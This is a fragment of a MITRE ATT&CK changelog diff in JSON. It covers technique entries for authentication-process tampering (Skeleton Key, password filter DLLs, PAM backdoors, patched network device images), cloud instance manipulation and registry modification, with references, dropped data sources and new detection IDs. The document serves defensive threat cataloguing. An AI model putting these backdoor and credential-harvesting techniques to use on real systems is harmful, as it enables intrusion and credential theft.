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+ "source_name": "Dell Skeleton",
+ "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
+ "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+ },
+ {
+ "source_name": "TechNet Audit Policy",
+ "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
+ }
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
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+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Access\", \"File: File Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.324000+00:00\", \"old_value\": \"2025-04-15 22:21:45.658000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n\\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n-\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1025: Privileged Process Integrity",
+ "M1026: Privileged Account Management",
+ "M1032: Multi-factor Authentication"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0022: File (File Modification)",
+ "DS0028: Logon Session (Logon Session Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0271: Detect Domain Controller Authentication Process Modification (Skeleton Key)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-19 17:58:04.155000+00:00",
+ "modified": "2025-10-24 17:49:38.719000+00:00",
+ "name": "Network Device Authentication",
+ "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1556/004",
+ "external_id": "T1556.004"
+ },
+ {
+ "source_name": "Mandiant - Synful Knock",
+ "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Network Devices"
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+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.719000+00:00\", \"old_value\": \"2025-04-15 21:40:12.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\"}}}",
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+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1032: Multi-factor Authentication"
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Modification)"
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+ "shared": [],
+ "new": [
+ "DET0272: Detect Modification of Network Device Authentication via Patched System Images"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:05:45.829000+00:00",
+ "modified": "2025-10-24 17:48:39.067000+00:00",
+ "name": "Password Filter DLL",
+ "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1556/002",
+ "external_id": "T1556.002"
+ },
+ {
+ "source_name": "Clymb3r Function Hook Passwords Sept 2013",
+ "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
+ "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
+ },
+ {
+ "source_name": "Carnal Ownage Password Filters Sept 2013",
+ "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
+ "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
+ }
+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vincent Le Toux"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
+ "Windows"
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+ "x_mitre_version": "2.1",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0472: Detect Malicious Password Filter DLL Registration"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-26 04:01:09.648000+00:00",
+ "modified": "2025-10-24 17:48:21.118000+00:00",
+ "name": "Pluggable Authentication Modules",
+ "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
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+ "external_id": "T1556.003"
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+ "source_name": "Apple PAM",
+ "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
+ "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
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+ "source_name": "Man Pam_Unix",
+ "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
+ "url": "https://linux.die.net/man/8/pam_unix"
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+ {
+ "source_name": "PAM Creds",
+ "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
+ },
+ {
+ "source_name": "Red Hat PAM",
+ "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
+ "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
+ },
+ {
+ "source_name": "PAM Backdoor",
+ "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
+ "url": "https://github.com/zephrax/linux-pam-backdoor"
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+ "macOS"
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+ "M1032: Multi-factor Authentication"
+ ],
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+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Modification)",
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+ "new": [
+ "DET0454: Detect Malicious Modification of Pluggable Authentication Modules (PAM)"
+ ],
+ "dropped": []
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+ "modified": "2025-10-24 17:49:27.587000+00:00",
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+ "external_id": "T1556.005"
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+ "source_name": "dump_pwd_dcsync",
+ "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
+ "url": "https://adsecurity.org/?p=2053"
+ },
+ {
+ "source_name": "store_pwd_rev_enc",
+ "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
+ },
+ {
+ "source_name": "how_pwd_rev_enc_1",
+ "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
+ "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
+ },
+ {
+ "source_name": "how_pwd_rev_enc_2",
+ "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
+ "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
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+ ],
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+ "dropped": [
+ "DS0002: User Account (User Account Metadata)",
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+ "DS0017: Command (Command Execution)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
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+ "shared": [],
+ "new": [
+ "DET0589: Detect Modification of Authentication Process via Reversible Encryption"
+ ],
+ "dropped": []
+ }
+ },
+ {
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+ "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-08-30 18:03:05.864000+00:00",
+ "modified": "2025-10-24 17:48:26.284000+00:00",
+ "name": "Modify Cloud Compute Infrastructure",
+ "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
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+ ],
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+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1578",
+ "external_id": "T1578"
+ },
+ {
+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
+ }
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+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "IaaS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Metadata\", \"Instance: Instance Stop\", \"Snapshot: Snapshot Creation\", \"Volume: Volume Modification\", \"Instance: Instance Modification\", \"Instance: Instance Creation\", \"Volume: Volume Metadata\", \"Instance: Instance Start\", \"Cloud Service: Cloud Service Metadata\", \"Volume: Volume Creation\", \"Snapshot: Snapshot Modification\", \"Snapshot: Snapshot Metadata\", \"Volume: Volume Deletion\", \"Snapshot: Snapshot Deletion\", \"Instance: Instance Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.284000+00:00\", \"old_value\": \"2025-04-15 22:49:33.134000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}",
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+ "M1018: User Account Management",
+ "M1047: Audit"
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+ "DS0020: Snapshot (Snapshot Deletion)",
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+ "DS0030: Instance (Instance Deletion)",
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+ "DS0030: Instance (Instance Stop)",
+ "DS0034: Volume (Volume Creation)",
+ "DS0034: Volume (Volume Deletion)",
+ "DS0034: Volume (Volume Metadata)",
+ "DS0034: Volume (Volume Modification)"
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+ "shared": [],
+ "new": [
+ "DET0308: Detection Strategy for Modify Cloud Compute Infrastructure"
+ ],
+ "dropped": []
+ }
+ },
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-05-14 14:45:15.978000+00:00",
+ "modified": "2025-10-24 17:49:24.804000+00:00",
+ "name": "Create Cloud Instance",
+ "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1578/002",
+ "external_id": "T1578.002"
+ },
+ {
+ "source_name": "AWS CloudTrail Search",
+ "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
+ "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
+ },
+ {
+ "source_name": "Cloud Audit Logs",
+ "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
+ "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
+ },
+ {
+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
+ },
+ {
+ "source_name": "Azure Activity Logs",
+ "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
+ }
+ ],
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+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Creation\", \"Instance: Instance Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.804000+00:00\", \"old_value\": \"2025-04-15 22:10:54.239000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n\\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n-\\n-In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\"}}}",
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+ "DS0030: Instance (Instance Creation)",
+ "DS0030: Instance (Instance Metadata)"
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+ "shared": [],
+ "new": [
+ "DET0449: Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-09 15:33:13.563000+00:00",
+ "modified": "2025-10-24 17:49:34.416000+00:00",
+ "name": "Create Snapshot",
+ "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1578/001",
+ "external_id": "T1578.001"
+ },
+ {
+ "source_name": "AWS Cloud Trail Backup API",
+ "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.",
+ "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html"
+ },
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+ "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.",
+ "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2"
+ },
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+ "source_name": "Cloud Audit Logs",
+ "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
+ "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
+ },
+ {
+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
+ },
+ {
+ "source_name": "Azure - Monitor Logs",
+ "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"
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+ "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
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+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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+ "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
+ "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
+ },
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+ "source_name": "Google - Restore Cloud Snapshot",
+ "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
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+ "url": "https://attack.mitre.org/techniques/T1112",
+ "external_id": "T1112"
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+ "source_name": "CISA Russian Gov Critical Infra 2018",
+ "description": "CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.",
+ "url": "https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors"
+ },
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+ "source_name": "CISA LockBit 2023",
+ "description": "CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.",
+ "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a"
+ },
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+ "source_name": "Avaddon Ransomware 2021",
+ "description": "Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.",
+ "url": "https://arxiv.org/pdf/2102.04796"
+ },
+ {
+ "source_name": "Microsoft BlackCat Jun 2022",
+ "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
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+ "source_name": "Microsoft Reg",
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+ "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
+ },
+ {
+ "source_name": "Microsoft Remote",
+ "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
+ "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"
+ },
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+ "source_name": "Microsoft 4657 APR 2017",
+ "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
+ "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"
+ },
+ {
+ "source_name": "SpectorOps Hiding Reg Jul 2017",
+ "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
+ "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"
+ },
+ {
+ "source_name": "Microsoft Reghide NOV 2006",
+ "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/reghide"
+ },
+ {
+ "source_name": "Microsoft RegDelNull July 2016",
+ "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
+ "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"
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+ "source_name": "TrendMicro POWELIKS AUG 2014",
+ "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"
+ },
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+ "source_name": "Unit42 BabyShark Feb 2019",
+ "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
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+ "DET0280: Behavior-Based Registry Modification Detection on Windows"
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+ "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
+ },
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+ "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
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+ "source_name": "Cisco Synful Knock Evolution",
+ "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
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+ "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop 